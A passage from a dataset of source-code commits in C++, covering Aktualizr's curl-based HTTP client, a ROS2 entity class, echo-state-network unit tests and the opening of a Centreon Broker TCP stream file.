 auto* arg = static_cast<WriteStringArg*>(userp);\n  if (arg->limit > 0) {\n    if (arg->out.length() + size * nmemb > static_cast<uint64_t>(arg->limit)) {\n      return 0;\n    }\n  }\n  (static_cast<WriteStringArg*>(userp))->out.append(static_cast<char*>(contents), size * nmemb);\n\n  \/\/ return size of written data\n  return size * nmemb;\n}\n\nHttpClient::HttpClient() : user_agent(std::string(\"Aktualizr\/\") + AKTUALIZR_VERSION) {\n  curl = curl_easy_init();\n  if (curl == nullptr) {\n    throw std::runtime_error(\"Could not initialize curl\");\n  }\n  headers = nullptr;\n  http_code = 0;\n\n  curlEasySetoptWrapper(curl, CURLOPT_NOSIGNAL, 1L);\n  curlEasySetoptWrapper(curl, CURLOPT_TIMEOUT, 60L);\n  curlEasySetoptWrapper(curl, CURLOPT_CONNECTTIMEOUT, 60L);\n\n  \/\/ let curl use our write function\n  curlEasySetoptWrapper(curl, CURLOPT_WRITEFUNCTION, writeString);\n  curlEasySetoptWrapper(curl, CURLOPT_WRITEDATA, NULL);\n\n  curlEasySetoptWrapper(curl, CURLOPT_VERBOSE, get_curlopt_verbose());\n\n  headers = curl_slist_append(headers, \"Content-Type: application\/json\");\n  headers = curl_slist_append(headers, \"Accept: *\/*\");\n  curlEasySetoptWrapper(curl, CURLOPT_HTTPHEADER, headers);\n  curlEasySetoptWrapper(curl, CURLOPT_USERAGENT, user_agent.c_str());\n}\n\nHttpClient::HttpClient(const HttpClient& curl_in) : pkcs11_key(curl_in.pkcs11_key), pkcs11_cert(curl_in.pkcs11_key) {\n  curl = curl_easy_duphandle(curl_in.curl);\n\n  struct curl_slist* inlist = curl_in.headers;\n  headers = nullptr;\n  struct curl_slist* tmp;\n\n  while (inlist != nullptr) {\n    tmp = curl_slist_append(headers, inlist->data);\n\n    if (tmp == nullptr) {\n      curl_slist_free_all(headers);\n      throw std::runtime_error(\"curl_slist_append returned null\");\n    }\n\n    headers = tmp;\n    inlist = inlist->next;\n  }\n}\n\nCurlGlobalInitWrapper HttpClient::manageCurlGlobalInit_{};\n\nHttpClient::~HttpClient() {\n  curl_slist_free_all(headers);\n  curl_easy_cleanup(curl);\n}\n\nHttpResponse HttpClient::get(const std::string& url, int64_t maxsize) {\n  CURL* curl_get = curl_easy_duphandle(curl);\n\n  \/\/ TODO: it is a workaround for an unidentified bug in libcurl. Ideally the bug itself should be fixed.\n  if (pkcs11_key) {\n    curlEasySetoptWrapper(curl_get, CURLOPT_SSLENGINE, \"pkcs11\");\n    curlEasySetoptWrapper(curl_get, CURLOPT_SSLKEYTYPE, \"ENG\");\n  }\n\n  if (pkcs11_cert) {\n    curlEasySetoptWrapper(curl_get, CURLOPT_SSLCERTTYPE, \"ENG\");\n  }\n\n  \/\/ Clear POSTFIELDS to remove any lingering references to strings that have\n  \/\/ probably since been deallocated.\n  curlEasySetoptWrapper(curl_get, CURLOPT_POSTFIELDS, \"\");\n  curlEasySetoptWrapper(curl_get, CURLOPT_URL, url.c_str());\n  curlEasySetoptWrapper(curl_get, CURLOPT_HTTPGET, 1L);\n  if (maxsize >= 0) {\n    \/\/ it will only take effect if the server declares the size in advance,\n    \/\/    writeString callback takes care of the other case\n    curlEasySetoptWrapper(curl_get, CURLOPT_MAXFILESIZE_LARGE, maxsize);\n  }\n  curlEasySetoptWrapper(curl_get, CURLOPT_LOW_SPEED_TIME, speed_limit_time_interval_);\n  curlEasySetoptWrapper(curl_get, CURLOPT_LOW_SPEED_LIMIT, speed_limit_bytes_per_sec_);\n  LOG_DEBUG << \"GET \" << url;\n  HttpResponse response = perform(curl_get, RETRY_TIMES, maxsize);\n  curl_easy_cleanup(curl_get);\n  return response;\n}\n\nvoid HttpClient::setCerts(const std::string& ca, CryptoSource ca_source, const std::string& cert,\n                          CryptoSource cert_source, const std::string& pkey, CryptoSource pkey_source) {\n  curlEasySetoptWrapper(curl, CURLOPT_SSL_VERIFYPEER, 1);\n  curlEasySetoptWrapper(curl, CURLOPT_SSL_VERIFYHOST, 2);\n  curlEasySetoptWrapper(curl, CURLOPT_USE_SSL, CURLUSESSL_ALL);\n\n  if (ca_source == CryptoSource::kPkcs11) {\n    throw std::runtime_error(\"Accessing CA certificate on PKCS11 devices isn't currently supported\");\n  }\n  std::unique_ptr<TemporaryFile> tmp_ca_file = std_::make_unique<TemporaryFile>(\"tls-ca\");\n  tmp_ca_file->PutContents(ca);\n  curlEasySetoptWrapper(curl, CURLOPT_CAINFO, tmp_ca_file->Path().c_str());\n  tls_ca_file = std::move_if_noexcept(tmp_ca_file);\n\n  if (cert_source == CryptoSource::kPkcs11) {\n    curlEasySetoptWrapper(curl, CURLOPT_SSLCERT, cert.c_str());\n    curlEasySetoptWrapper(curl, CURLOPT_SSLCERTTYPE, \"ENG\");\n  } else {  \/\/ cert_source == CryptoSource::kFile\n    std::unique_ptr<TemporaryFile> tmp_cert_file = std_::make_unique<TemporaryFile>(\"tls-cert\");\n    tmp_cert_file->PutContents(cert);\n    curlEasySetoptWrapper(curl, CURLOPT_SSLCERT, tmp_cert_file->Path().c_str());\n    curlEasySetoptWrapper(curl, CURLOPT_SSLCERTTYPE, \"PEM\");\n    tls_cert_file = std::move_if_noexcept(tmp_cert_file);\n  }\n  pkcs11_cert = (cert_source == CryptoSource::kPkcs11);\n\n  if (pkey_source == CryptoSource::kPkcs11) {\n    curlEasySetoptWrapper(curl, CURLOPT_SSLENGINE, \"pkcs11\");\n    curlEasySetoptWrapper(curl, CURLOPT_SSLENGINE_DEFAULT, 1L);\n    curlEasySetoptWrapper(curl, CURLOPT_SSLKEY, pkey.c_str());\n    curlEasySetoptWrapper(curl, CURLOPT_SSLKEYTYPE, \"ENG\");\n  } else {  \/\/ pkey_source == CryptoSource::kFile\n    std::unique_ptr<TemporaryFile> tmp_pkey_file = std_::make_unique<TemporaryFile>(\"tls-pkey\");\n    tmp_pkey_file->PutContents(pkey);\n    curlEasySetoptWrapper(curl, CURLOPT_SSLKEY, tmp_pkey_file->Path().c_str());\n    curlEasySetoptWrapper(curl, CURLOPT_SSLKEYTYPE, \"PEM\");\n    tls_pkey_file = std::move_if_noexcept(tmp_pkey_file);\n  }\n  pkcs11_key = (pkey_source == CryptoSource::kPkcs11);\n}\n\nHttpResponse HttpClient::post(const std::string& url, const Json::Value& data) {\n  curlEasySetoptWrapper(curl, CURLOPT_URL, url.c_str());\n  curlEasySetoptWrapper(curl, CURLOPT_POST, 1);\n  std::string data_str = Json::FastWriter().write(data);\n  curlEasySetoptWrapper(curl, CURLOPT_POSTFIELDS, data_str.c_str());\n  LOG_TRACE << \"post request body:\" << data;\n  return perform(curl, RETRY_TIMES, HttpInterface::kPostRespLimit);\n}\n\nHttpResponse HttpClient::put(const std::string& url, const Json::Value& data) {\n  CURL* curl_put = curl_easy_duphandle(curl);\n\n  \/\/ TODO: it is a workaround for an unidentified bug in libcurl. Ideally the bug itself should be fixed.\n  if (pkcs11_key) {\n    curlEasySetoptWrapper(curl_put, CURLOPT_SSLENGINE, \"pkcs11\");\n    curlEasySetoptWrapper(curl_put, CURLOPT_SSLKEYTYPE, \"ENG\");\n  }\n\n  if (pkcs11_cert) {\n    curlEasySetoptWrapper(curl_put, CURLOPT_SSLCERTTYPE, \"ENG\");\n  }\n\n  curlEasySetoptWrapper(curl_put, CURLOPT_URL, url.c_str());\n  std::string data_str = Json::FastWriter().write(data);\n  curlEasySetoptWrapper(curl_put, CURLOPT_POSTFIELDS, data_str.c_str());\n  curlEasySetoptWrapper(curl_put, CURLOPT_CUSTOMREQUEST, \"PUT\");\n  LOG_TRACE << \"put request body:\" << data;\n  HttpResponse result = perform(curl_put, RETRY_TIMES, HttpInterface::kPutRespLimit);\n  curl_easy_cleanup(curl_put);\n  return result;\n}\n\nHttpResponse HttpClient::perform(CURL* curl_handler, int retry_times, int64_t size_limit) {\n  WriteStringArg response_arg;\n  response_arg.limit = size_limit;\n  curlEasySetoptWrapper(curl_handler, CURLOPT_WRITEDATA, static_cast<void*>(&response_arg));\n  CURLcode result = curl_easy_perform(curl_handler);\n  curl_easy_getinfo(curl_handler, CURLINFO_RESPONSE_CODE, &http_code);\n  HttpResponse response(response_arg.out, http_code, result, (result != CURLE_OK) ? curl_easy_strerror(result) : \"\");\n  if (response.curl_code != CURLE_OK || response.http_status_code >= 500) {\n    std::ostringstream error_message;\n    error_message << \"curl error \" << response.curl_code << \" (http code \" << response.http_status_code\n                  << \"): \" << response.error_message;\n    LOG_ERROR << error_message.str();\n    if (retry_times != 0) {\n      sleep(1);\n      response = perform(curl_handler, --retry_times, size_limit);\n    }\n  }\n  LOG_TRACE << \"response http code: \" << response.http_status_code;\n  LOG_TRACE << \"response: \" << response.body;\n  return response;\n}\n\nHttpResponse HttpClient::download(const std::string& url, curl_write_callback callback, void* userp, size_t from) {\n  CURL* curl_download = curl_easy_duphandle(curl);\n\n  \/\/ TODO: it is a workaround for an unidentified bug in libcurl. Ideally the bug itself should be fixed.\n  if (pkcs11_key) {\n    curlEasySetoptWrapper(curl_download, CURLOPT_SSLENGINE, \"pkcs11\");\n    curlEasySetoptWrapper(curl_download, CURLOPT_SSLKEYTYPE, \"ENG\");\n  }\n\n  if (pkcs11_cert) {\n    curlEasySetoptWrapper(curl_download, CURLOPT_SSLCERTTYPE, \"ENG\");\n  }\n\n  curlEasySetoptWrapper(curl_download, CURLOPT_URL, url.c_str());\n  curlEasySetoptWrapper(curl_download, CURLOPT_HTTPGET, 1L);\n  curlEasySetoptWrapper(curl_download, CURLOPT_FOLLOWLOCATION, 1L);\n  curlEasySetoptWrapper(curl_download, CURLOPT_WRITEFUNCTION, callback);\n  curlEasySetoptWrapper(curl_download, CURLOPT_WRITEDATA, userp);\n  curlEasySetoptWrapper(curl_download, CURLOPT_TIMEOUT, 0);\n  curlEasySetoptWrapper(curl_download, CURLOPT_LOW_SPEED_TIME, speed_limit_time_interval_);\n  curlEasySetoptWrapper(curl_download, CURLOPT_LOW_SPEED_LIMIT, speed_limit_bytes_per_sec_);\n  curlEasySetoptWrapper(curl_download, CURLOPT_RESUME_FROM, from);\n\n  CURLcode result = curl_easy_perform(curl_download);\n  curl_easy_getinfo(curl_download, CURLINFO_RESPONSE_CODE, &http_code);\n  HttpResponse response(\"\", http_code, result, (result != CURLE_OK) ? curl_easy_strerror(result) : \"\");\n  curl_easy_cleanup(curl_download);\n  return response;\n}\n\n\/\/ vim: set tabstop=2 shiftwidth=2 expandtab:\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2016 <Lennart Nachtigall> <firesurfer65@yahoo.de>\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"EntityBase.h\"\nnamespace ros2_components {\n\nEntityBase::EntityBase(int64_t _id, bool _subscribe, std::shared_ptr<rclcpp::node::Node> _parentNode, string _className)\n{\n    this->id = _id;\n    this->subscriber = _subscribe;\n    this->parentNode = _parentNode;\n    this->className = _className;\n    this->active = true;\n    this->name = getClassName()  + std::to_string(id);\n\n    \/\/TODO rework meta mechanism\n\n    REFLECT(virtualEntity);\n    REFLECT(className);\n    REFLECT(active);\n    qRegisterMetaType<int64_t>(\"int64_t\");\n    qRegisterMetaType<std::string>(\"std::string\");\n\n\n}\n\nEntityBase::EntityBase(int64_t _id, bool _subscribe, std::shared_ptr<rclcpp::node::Node> _parentNode, string _className, string _componentName):EntityBase(_id,_subscribe, _parentNode,_className)\n{\n    this->name = _componentName + std::to_string(_id);\n}\n\nEntityBase::~EntityBase()\n{\n    std::cout << \"Destroying: \" << getName() << std::endl;\n}\n\nint64_t EntityBase::getId()\n{\n    return id;\n}\n\nstring EntityBase::getName()\n{\n    return name;\n}\n\n\nstring EntityBase::getClassName()\n{\n    \/* const QMetaObject* metaObject = this->metaObject();\n\n    std::string localClassName = metaObject->className();\n    localClassName.erase(0, localClassName.find_last_of(\":\")+1);*\/\n    return className;\n}\n\nbool EntityBase::isVirtual()\n{\n    return virtualEntity;\n}\n\nbool EntityBase::isSubscriber()\n{\n    return subscriber;\n}\n\nrclcpp::node::Node::SharedPtr EntityBase::getParentNode()\n{\n    return parentNode;\n}\n\nvoid EntityBase::addChild(std::shared_ptr<EntityBase> child, bool remote)\n{\n    LOG(LogLevel::Debug) << \"addChild called with: \" << child->getName() << \" from: \" << getName()<< std::endl;\n    childs.push_back(child);\n    child->setParent(shared_from_this());\n    emit childAdded(child,child->getParent(),remote);\n}\n\nvoid EntityBase::removeChild(std::shared_ptr<EntityBase> child, bool remote)\n{\n    auto iteratorPos = std::find(childs.begin(), childs.end(), child) ;\n    if(iteratorPos != childs.end())\n    {\n        childs.erase(iteratorPos);\n    }\n    else\n        throw std::runtime_error(\"Can't remove given child - child not found!\");\n    emit childRemoved(child,shared_from_this(), remote);\n}\n\nstd::shared_ptr<EntityBase> EntityBase::getChildById(int64_t id)\n{\n    for(auto & child: childs)\n    {\n        if(child->getId() == id)\n        {\n            return child;\n        }\n    }\n    throw std::runtime_error(\"Child with id: \" + std::to_string(id) + \" not found\");\n}\n\nuint64_t EntityBase::countChilds()\n{\n    return childs.size();\n}\n\nstd::shared_ptr<EntityBase> EntityBase::getParent()\n{\n    return this->parent;\n}\n\nvoid EntityBase::setParent(std::shared_ptr<EntityBase> par)\n{\n    this->parent = par;\n}\n\nstring EntityBase::getTopicName()\n{\n    if(!isSubscriber())\n        return pubBase->get_topic_name();\n    else\n        return subBase->get_topic_name();\n}\n\n\nvoid EntityBase::IterateThroughAllProperties(std::function<void(QMetaProperty)> func)\n{\n    const QMetaObject* metaObj = this->metaObject();\n    while(metaObj != NULL)\n    {\n        for (int i = metaObj->propertyOffset(); i < metaObj->propertyCount(); ++i)\n        {\n            func(metaObj->property(i));\n        }\n        metaObj = metaObj->superClass();\n    }\n}\n\n\n\n}\n<commit_msg>Added reflect for description<commit_after>\/*\n * Copyright 2016 <Lennart Nachtigall> <firesurfer65@yahoo.de>\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"EntityBase.h\"\nnamespace ros2_components {\n\nEntityBase::EntityBase(int64_t _id, bool _subscribe, std::shared_ptr<rclcpp::node::Node> _parentNode, string _className)\n{\n    this->id = _id;\n    this->subscriber = _subscribe;\n    this->parentNode = _parentNode;\n    this->className = _className;\n    this->active = true;\n    this->name = getClassName()  + std::to_string(id);\n\n    \/\/TODO rework meta mechanism\n\n    REFLECT(virtualEntity);\n    REFLECT(className);\n    REFLECT(active);\n    REFLECT(description)\n    qRegisterMetaType<int64_t>(\"int64_t\");\n    qRegisterMetaType<std::string>(\"std::string\");\n\n\n}\n\nEntityBase::EntityBase(int64_t _id, bool _subscribe, std::shared_ptr<rclcpp::node::Node> _parentNode, string _className, string _componentName):EntityBase(_id,_subscribe, _parentNode,_className)\n{\n    this->name = _componentName + std::to_string(_id);\n}\n\nEntityBase::~EntityBase()\n{\n    std::cout << \"Destroying: \" << getName() << std::endl;\n}\n\nint64_t EntityBase::getId()\n{\n    return id;\n}\n\nstring EntityBase::getName()\n{\n    return name;\n}\n\n\nstring EntityBase::getClassName()\n{\n    \/* const QMetaObject* metaObject = this->metaObject();\n\n    std::string localClassName = metaObject->className();\n    localClassName.erase(0, localClassName.find_last_of(\":\")+1);*\/\n    return className;\n}\n\nbool EntityBase::isVirtual()\n{\n    return virtualEntity;\n}\n\nbool EntityBase::isSubscriber()\n{\n    return subscriber;\n}\n\nrclcpp::node::Node::SharedPtr EntityBase::getParentNode()\n{\n    return parentNode;\n}\n\nvoid EntityBase::addChild(std::shared_ptr<EntityBase> child, bool remote)\n{\n    LOG(LogLevel::Debug) << \"addChild called with: \" << child->getName() << \" from: \" << getName()<< std::endl;\n    childs.push_back(child);\n    child->setParent(shared_from_this());\n    emit childAdded(child,child->getParent(),remote);\n}\n\nvoid EntityBase::removeChild(std::shared_ptr<EntityBase> child, bool remote)\n{\n    auto iteratorPos = std::find(childs.begin(), childs.end(), child) ;\n    if(iteratorPos != childs.end())\n    {\n        childs.erase(iteratorPos);\n    }\n    else\n        throw std::runtime_error(\"Can't remove given child - child not found!\");\n    emit childRemoved(child,shared_from_this(), remote);\n}\n\nstd::shared_ptr<EntityBase> EntityBase::getChildById(int64_t id)\n{\n    for(auto & child: childs)\n    {\n        if(child->getId() == id)\n        {\n            return child;\n        }\n    }\n    throw std::runtime_error(\"Child with id: \" + std::to_string(id) + \" not found\");\n}\n\nuint64_t EntityBase::countChilds()\n{\n    return childs.size();\n}\n\nstd::shared_ptr<EntityBase> EntityBase::getParent()\n{\n    return this->parent;\n}\n\nvoid EntityBase::setParent(std::shared_ptr<EntityBase> par)\n{\n    this->parent = par;\n}\n\nstring EntityBase::getTopicName()\n{\n    if(!isSubscriber())\n        return pubBase->get_topic_name();\n    else\n        return subBase->get_topic_name();\n}\n\n\nvoid EntityBase::IterateThroughAllProperties(std::function<void(QMetaProperty)> func)\n{\n    const QMetaObject* metaObj = this->metaObject();\n    while(metaObj != NULL)\n    {\n        for (int i = metaObj->propertyOffset(); i < metaObj->propertyCount(); ++i)\n        {\n            func(metaObj->property(i));\n        }\n        metaObj = metaObj->superClass();\n    }\n}\n\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <gtest\/gtest.h>\n#include <esn\/network_nsli.hpp>\n#include <esn\/network.hpp>\n#include <random>\n\nTEST( ESN, CreateNetworkNSLI )\n{\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 10;\n    params.neuronCount = 100;\n    params.outputCount = 10;\n    std::unique_ptr< ESN::Network > network = CreateNetwork( params );\n}\n\nTEST(ESN, SetInputs)\n{\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 25;\n    params.neuronCount = 100;\n    params.outputCount = 17;\n    auto network = CreateNetwork( params );\n\n    std::default_random_engine randomEngine;\n    std::uniform_real_distribution<float > randomDist( -1.0f, 1.0f );\n    std::vector< float > inputs( params.inputCount );\n    for (int s = 0; s < 100; ++ s)\n    {\n        for (int i = 0; i < params.inputCount; ++ i)\n            inputs[i] = randomDist(randomEngine);\n        network->SetInputs(inputs);\n    }\n}\n\nTEST( ESN, StepNSLI )\n{\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 11;\n    params.neuronCount = 100;\n    params.outputCount = 15;\n    std::unique_ptr< ESN::Network > network = CreateNetwork( params );\n    network->Step( 0.1f );\n}\n\nTEST( ESN, TrainNSLI )\n{\n    const unsigned kSampleCount = 100;\n\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 1;\n    params.neuronCount = 100;\n    params.outputCount = 1;\n    auto network = CreateNetwork( params );\n\n    std::vector< std::vector< float > > inputs( kSampleCount );\n    std::vector< std::vector< float > > outputs( kSampleCount );\n    for ( int i = 0; i < kSampleCount; ++ i )\n    {\n        inputs[i].resize( params.inputCount );\n        inputs[i][0] = 1.0f;\n        outputs[i].resize( params.outputCount );\n        outputs[i][0] = 1.0f;\n    }\n\n    network->Train( inputs, outputs );\n}\n\nTEST(ESN, TrainOnline)\n{\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 32;\n    params.neuronCount = 64;\n    params.outputCount = 16;\n    auto network = CreateNetwork(params);\n\n    std::default_random_engine randomEngine;\n    std::uniform_real_distribution<float> randomDist(-0.5f, 0.5f);\n    std::vector<float> inputs(params.inputCount);\n    std::vector<float> outputs(params.outputCount);\n    for (int s = 0; s < 100; ++ s)\n    {\n        for (int i = 0; i < params.inputCount; ++ i)\n            inputs[i] = randomDist(randomEngine);\n        for (int i = 0; i < params.outputCount; ++ i)\n            outputs[i] = randomDist(randomEngine);\n        network->SetInputs(inputs);\n        network->Step(1.0f);\n        network->TrainOnline(outputs, false);\n    }\n}\n<commit_msg>add test-case ESN.NoFeedback<commit_after>#include <gtest\/gtest.h>\n#include <esn\/network_nsli.hpp>\n#include <esn\/network.hpp>\n#include <random>\n\nTEST( ESN, CreateNetworkNSLI )\n{\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 10;\n    params.neuronCount = 100;\n    params.outputCount = 10;\n    std::unique_ptr< ESN::Network > network = CreateNetwork( params );\n}\n\nTEST(ESN, SetInputs)\n{\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 25;\n    params.neuronCount = 100;\n    params.outputCount = 17;\n    auto network = CreateNetwork( params );\n\n    std::default_random_engine randomEngine;\n    std::uniform_real_distribution<float > randomDist( -1.0f, 1.0f );\n    std::vector< float > inputs( params.inputCount );\n    for (int s = 0; s < 100; ++ s)\n    {\n        for (int i = 0; i < params.inputCount; ++ i)\n            inputs[i] = randomDist(randomEngine);\n        network->SetInputs(inputs);\n    }\n}\n\nTEST( ESN, StepNSLI )\n{\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 11;\n    params.neuronCount = 100;\n    params.outputCount = 15;\n    std::unique_ptr< ESN::Network > network = CreateNetwork( params );\n    network->Step( 0.1f );\n}\n\nTEST( ESN, TrainNSLI )\n{\n    const unsigned kSampleCount = 100;\n\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 1;\n    params.neuronCount = 100;\n    params.outputCount = 1;\n    auto network = CreateNetwork( params );\n\n    std::vector< std::vector< float > > inputs( kSampleCount );\n    std::vector< std::vector< float > > outputs( kSampleCount );\n    for ( int i = 0; i < kSampleCount; ++ i )\n    {\n        inputs[i].resize( params.inputCount );\n        inputs[i][0] = 1.0f;\n        outputs[i].resize( params.outputCount );\n        outputs[i][0] = 1.0f;\n    }\n\n    network->Train( inputs, outputs );\n}\n\nTEST(ESN, TrainOnline)\n{\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 32;\n    params.neuronCount = 64;\n    params.outputCount = 16;\n    auto network = CreateNetwork(params);\n\n    std::default_random_engine randomEngine;\n    std::uniform_real_distribution<float> randomDist(-0.5f, 0.5f);\n    std::vector<float> inputs(params.inputCount);\n    std::vector<float> outputs(params.outputCount);\n    for (int s = 0; s < 100; ++ s)\n    {\n        for (int i = 0; i < params.inputCount; ++ i)\n            inputs[i] = randomDist(randomEngine);\n        for (int i = 0; i < params.outputCount; ++ i)\n            outputs[i] = randomDist(randomEngine);\n        network->SetInputs(inputs);\n        network->Step(1.0f);\n        network->TrainOnline(outputs, false);\n    }\n}\n\nTEST(ESN, NoFeedback)\n{\n    ESN::NetworkParamsNSLI params;\n    params.inputCount = 32;\n    params.neuronCount = 64;\n    params.outputCount = 16;\n    params.hasOutputFeedback = false;\n    auto network = CreateNetwork(params);\n\n    std::default_random_engine randomEngine;\n    std::uniform_real_distribution<float> randomDist(-0.5f, 0.5f);\n    std::vector<float> inputs(params.inputCount);\n    std::vector<float> outputs(params.outputCount);\n    for (int s = 0; s < 100; ++ s)\n    {\n        for (int i = 0; i < params.inputCount; ++ i)\n            inputs[i] = randomDist(randomEngine);\n        for (int i = 0; i < params.outputCount; ++ i)\n            outputs[i] = randomDist(randomEngine);\n        network->SetInputs(inputs);\n        network->Step(1.0f);\n        network->TrainOnline(outputs, false);\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n** Copyright 2011-2014 Merethis\n**\n** This file is part of Centreon Broker.\n**\n** Centreon Broker is free software: you can redistribute it and\/or\n** modify it under the terms of the GNU General Public License version 2\n** as published by the Free Software Foundation.\n**\n** Centreon Broker is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n** General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with Centreon Broker. If not, see\n** <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <cstdlib>\n#include <QMutexLocker>\n#include <QWaitCondition>\n#include \"com\/centreon\/broker\/exceptions\/msg.hh\"\n#include \"com\/centreon\/broker\/io\/events.hh\"\n#include \"com\/centreon\/broker\/io\/exceptions\/shutdown.hh\"\n#include \"com\/centreon\/broker\/io\/raw.hh\"\n#include \"com\/centreon\/broker\/logging\/logging.hh\"\n#include \"com\/centreon\/broker\/tcp\/stream.hh\"\n\nusing namespace com::centreon::broker;\nusing namespace com::centreon::broker::tcp;\n\n\/**************************************\n*                                     *\n*           Public Methods            *\n*                                     *\n**************************************\/\n\n\/**\n *  Constructor.\n *\n *  @param[in] sock Socket used by this stream.\n *\/\nstream::stream(misc::shared_ptr<QTcpSocket> sock)\n  : _mutex(new QMutex),\n    _process_in(true),\n    _process_out(true),\n    _socket(sock),\n    _timeout(-1) {}\n\n\/**\n *  Constructor.\n *\n *  @param[in] sock  Socket used by this stream.\n *  @param[in] mutex Mutex used by this stream.\n *\/\nstream::stream(\n          misc::shared_ptr<QTcpSocket> sock,\n          misc::shared_ptr<QMutex> mutex)\n  : _mutex(mutex),\n    _process_in(true),\n    _process_out(true),\n    _socket(sock),\n    _timeout(-1) {}\n\n\/**\n *  Destructor.\n *\/\nstream::~stream() {\n  QMutexLocker lock(&*_mutex);\n  if (!_socket.isNull())\n    _socket->close();\n}\n\n\/**\n *  Enable or disable event processing.\n *\n *  @param[in] in  Set to true to enable input event processing.\n *  @param[in] out Set to true to enable output event processing.\n *\/\nvoid stream::process(bool in, bool out) {\n  _process_in = in;\n  _process_out = out;\n  return ;\n}\n\n\/**\n *  Read data from the socket.\n *\n *  @param[out] d Data read.\n *\/\nvoid stream::read(misc::shared_ptr<io::data>& d) {\n  d.clear();\n  QMutexLocker lock(&*_mutex);\n\n  \/\/ Check processing flags.\n  if (!_process_in)\n    throw (io::exceptions::shutdown(!_process_in, !_process_out)\n           << \"TCP stream is shutdown\");\n\n  \/\/ If data is already available, skip the waitForReadyRead() loop.\n  if (_socket->bytesAvailable() <= 0) {\n    while (1) {\n      bool ret;\n      if (!(ret = _socket->waitForReadyRead(\n                             (_timeout == -1)\n                             ? 200\n                             : _timeout))\n          \/\/ Standalone socket.\n          && ((_timeout != -1)\n              \/\/ Disconnected socket with no data.\n              || ((_socket->state()\n                   == QAbstractSocket::UnconnectedState)\n                  && (_socket->bytesAvailable() <= 0))))\n        throw (exceptions::msg() << \"TCP stream is disconnected\");\n      if (ret\n          || (_socket->error() != QAbstractSocket::SocketTimeoutError)\n          || (_socket->bytesAvailable() > 0))\n        break ;\n      else {\n        QWaitCondition cv;\n        cv.wait(&*_mutex, 1);\n      }\n      if (!_process_in)\n        throw (io::exceptions::shutdown(!_process_in, !_process_out)\n               << \"TCP stream is shutdown\");\n    }\n  }\n\n  char buffer[2048];\n  qint64 rb(_socket->read(buffer, sizeof(buffer)));\n  if (rb < 0)\n    throw (exceptions::msg() << \"TCP: error while reading: \"\n           << _socket->errorString());\n  misc::shared_ptr<io::raw> data(new io::raw);\n#if QT_VERSION >= 0x040500\n  data->append(buffer, rb);\n#else\n  data->append(QByteArray(buffer, rb));\n#endif \/\/ Qt version\n  d = data;\n  return ;\n}\n\n\/**\n *  Set connection timeout.\n *\n *  @param[in] msecs Timeout in ms.\n *\/\nvoid stream::set_timeout(int msecs) {\n  _timeout = msecs;\n  return ;\n}\n\n\/**\n *  Write data to the socket.\n *\n *  @param[in] d Data to write.\n *\n *  @return Number of events acknowledged.\n *\/\nunsigned int stream::write(misc::shared_ptr<io::data> const& d) {\n  \/\/ Check that data exists and should be processed.\n  if (!_process_out)\n    throw (io::exceptions::shutdown(!_process_in, !_process_out)\n             << \"TCP stream is shutdown\");\n  if (d.isNull())\n    return (1);\n\n  if (d->type() == io::events::data_type<io::events::internal, 1>::value) {\n    misc::shared_ptr<io::raw> r(d.staticCast<io::raw>());\n    logging::debug(logging::low) << \"TCP: write request of \"\n      << r->size() << \" bytes\";\n    QMutexLocker lock(&*_mutex);\n    qint64 wb(_socket->write(static_cast<char*>(r->QByteArray::data()),\n                             r->size()));\n    if ((wb < 0) || (_socket->state() == QAbstractSocket::UnconnectedState))\n      throw (exceptions::msg() << \"TCP: error while writing: \"\n             << _socket->errorString());\n    _socket->waitForBytesWritten(-1);\n  }\n  return (1);\n}\n<commit_msg>TCP: check for an error return in waitForBytesWritten().<commit_after>\/*\n** Copyright 2011-2014 Merethis\n**\n** This file is part of Centreon Broker.\n**\n** Centreon Broker is free software: you can redistribute it and\/or\n** modify it under the terms of the GNU General Public License version 2\n** as published by the Free Software Foundation.\n**\n** Centreon Broker is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n** General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with Centreon Broker. If not, see\n** <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <cstdlib>\n#include <QMutexLocker>\n#include <QWaitCondition>\n#include \"com\/centreon\/broker\/exceptions\/msg.hh\"\n#include \"com\/centreon\/broker\/io\/events.hh\"\n#include \"com\/centreon\/broker\/io\/exceptions\/shutdown.hh\"\n#include \"com\/centreon\/broker\/io\/raw.hh\"\n#include \"com\/centreon\/broker\/logging\/logging.hh\"\n#include \"com\/centreon\/broker\/tcp\/stream.hh\"\n\nusing namespace com::centreon::broker;\nusing namespace 